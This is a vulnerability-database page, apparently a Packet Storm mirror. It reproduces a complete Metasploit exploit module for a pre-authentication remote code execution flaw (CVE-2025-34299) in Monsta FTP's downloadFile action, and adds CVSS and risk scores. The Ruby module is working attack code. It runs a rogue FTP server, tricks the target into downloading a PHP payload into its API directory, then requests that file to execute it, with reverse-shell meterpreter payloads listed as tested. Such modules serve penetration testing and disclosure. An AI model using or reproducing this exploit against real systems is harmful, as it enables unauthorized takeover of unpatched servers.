Lucene search
K

📄 Monsta FTP DownloadFile Remote Code Execution

🗓️ 27 Nov 2025 00:00:00Reported by Valentin Lobstein, msutovsky-r7, watchTowr LabsType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 139 Views

Exploits pre-auth remote code execution in Monsta FTP versions below 2.11.3 via the downloadFile action.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::FtpServer
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Monsta FTP downloadFile Remote Code Execution',
            'Description' => %q{
              This module exploits a pre-authenticated remote code execution vulnerability
              in Monsta FTP versions < 2.11.3. The vulnerability exists in the downloadFile
              action which allows an attacker to connect to a malicious FTP or SFTP server
              and download arbitrary files to arbitrary locations on the Monsta FTP server.
              This module uses FTP to exploit the vulnerability.
            },
            'Author' => [
              'watchTowr Labs',                              # Discovery
              'Valentin Lobstein <chocapikk[at]leakix.net>', # Metasploit module
              'msutovsky-r7'                                 # Module reviewer
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-34299'],
              ['URL', 'https://labs.watchtowr.com/monsta-ftp-remote-code-execution-cve-2025-34299/']
            ],
            'Platform' => %w[php unix linux win],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DisclosureDate' => '2025-11-07',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to Monsta FTP', '/mftp/'])
        ])
      end
    
      def check
        res = send_request_cgi('uri' => normalize_uri(target_uri.path))
        return CheckCode::Unknown('Connection failed') unless res
        return CheckCode::Safe('Target does not appear to be Monsta FTP') unless res.code == 200 && res.body.include?('Monsta FTP')
    
        version_match = res.body.match(/(?:v=|assets-|monsta-min-)(\d+\.\d+\.\d+)/)
        return CheckCode::Detected('Monsta FTP detected but version could not be determined') unless version_match
    
        version = Rex::Version.new(version_match[1])
        print_status("Monsta FTP version detected: #{version}")
        version < Rex::Version.new('2.11.3') ? CheckCode::Appears("Detected version #{version}, which is vulnerable") : CheckCode::Safe("Detected not vulnerable version #{version}")
      end
    
      def php_payload_content
        phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        "<?php #{phped_payload} ?>"
      end
    
      def send_ftp_response(cli, code, message)
        cli.put "#{code} #{message}\r\n"
        vprint_status("FTP: #{code} #{message}")
      end
    
      def require_auth(cli)
        return true if @state[cli][:auth]
    
        send_ftp_response(cli, 530, 'Not logged in.')
        false
      end
    
      def send_data_connection(cli)
        conn = establish_data_connection(cli)
        unless conn
          send_ftp_response(cli, 425, "Can't open data connection.")
          return nil
        end
        conn
      end
    
      def handle_data_transfer_retr(cli, message)
        send_ftp_response(cli, 150, message)
        conn = send_data_connection(cli)
        return unless conn
    
        conn.put(php_payload_content)
        conn.close
        send_ftp_response(cli, 226, 'Transfer complete.')
      end
    
      def start_ftp_service(credentials)
        define_singleton_method(:on_client_connect) do |cli|
          vprint_status("FTP client connected from #{cli.peerhost}:#{cli.peerport}")
          @state[cli] = {
            name: "#{cli.peerhost}:#{cli.peerport}",
            ip: cli.peerhost,
            port: cli.peerport,
            user: credentials[:user],
            pass: credentials[:pass],
            auth: false,
            valid_user: false
          }
          send_ftp_response(cli, 220, 'FTP Server Ready')
        end
        start_service({ SSL: false })
      end
    
      def handle_ftp_command(_cli, cmd, arg = nil)
        vprint_status("FTP: Client sent #{cmd}#{arg ? " #{arg}" : ''}")
      end
    
      def on_client_command_user(cli, arg)
        handle_ftp_command(cli, 'USER', arg)
        @state[cli][:valid_user] = arg == @state[cli][:user]
        send_ftp_response(cli, 331, 'User name okay, need password.')
      end
    
      def on_client_command_pass(cli, arg)
        handle_ftp_command(cli, 'PASS')
        @state[cli][:auth] = @state[cli][:valid_user] && arg == @state[cli][:pass]
        code, message = @state[cli][:auth] ? [230, 'Login successful.'] : [530, 'Login incorrect.']
        send_ftp_response(cli, code, message)
      end
    
      def on_client_command_pwd(cli, _arg)
        handle_ftp_command(cli, 'PWD')
        send_ftp_response(cli, 257, '"/" is current directory.')
      end
    
      def on_client_command_type(cli, arg)
        handle_ftp_command(cli, 'TYPE', arg)
        send_ftp_response(cli, 200, "Type set to #{arg}.")
      end
    
      def on_client_command_port(cli, arg)
        handle_ftp_command(cli, 'PORT', arg)
        parts = arg.split(',')
        unless parts.length == 6
          vprint_error("FTP: Invalid PORT command format: #{arg}")
          send_ftp_response(cli, 500, 'Illegal PORT command.')
          return
        end
        host = parts[0..3].join('.')
        port = (parts[4].to_i * 256) + parts[5].to_i
        vprint_status("FTP: PORT command parsed - host: #{host}, port: #{port}")
        active_data_port_for_client(cli, port)
        send_ftp_response(cli, 200, 'PORT command successful.')
      end
    
      def on_client_command_retr(cli, arg)
        handle_ftp_command(cli, 'RETR', arg)
        return unless require_auth(cli)
    
        handle_data_transfer_retr(cli, "Opening data connection for #{arg}")
      end
    
      def on_client_command_quit(cli, _arg)
        handle_ftp_command(cli, 'QUIT')
        send_ftp_response(cli, 221, 'Goodbye.')
      end
    
      def on_client_command_unknown(cli, cmd, arg)
        handle_ftp_command(cli, "UNKNOWN: #{cmd}", arg)
        send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
      end
    
      def trigger_http_request(exploit_data)
        vprint_status('Triggering HTTP request...')
        payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'application', 'api', 'api.php'),
          'method' => 'POST',
          'ctype' => 'application/x-www-form-urlencoded',
          'data' => "request=#{Rex::Text.uri_encode({
            'connectionType' => 'ftp',
            'configuration' => {
              'host' => datastore['SRVHOST'],
              'username' => exploit_data[:user],
              'initialDirectory' => '/',
              'password' => exploit_data[:pass],
              'port' => datastore['SRVPORT']
            },
            'actionName' => 'downloadFile',
            'context' => { 'remotePath' => "/#{payload_name}", 'localPath' => payload_name }
          }.to_json)}"
        })
    
        return nil unless res&.code == 200 && res.get_json_document&.[]('success')
    
        vprint_status("File downloaded successfully: #{payload_name}")
        payload_name
      end
    
      def exploit
        exploit_data = {
          user: Faker::Internet.username,
          pass: Faker::Internet.password
        }
    
        start_ftp_service(exploit_data)
        vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
    
        payload_name = trigger_http_request(exploit_data)
        fail_with(Failure::Unknown, 'Failed to download payload file') unless payload_name
    
        register_file_for_cleanup(payload_name)
        vprint_status("Triggering payload at #{normalize_uri(target_uri.path, 'application', 'api', payload_name)}...")
        res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'application', 'api', payload_name), 'method' => 'GET')
    
        vprint_warning('Payload executed but failed to establish reverse connection') if res&.body == 'no socket'
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Nov 2025 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 3.19.8
CVSS 49.3
EPSS0.7411
SSVC
139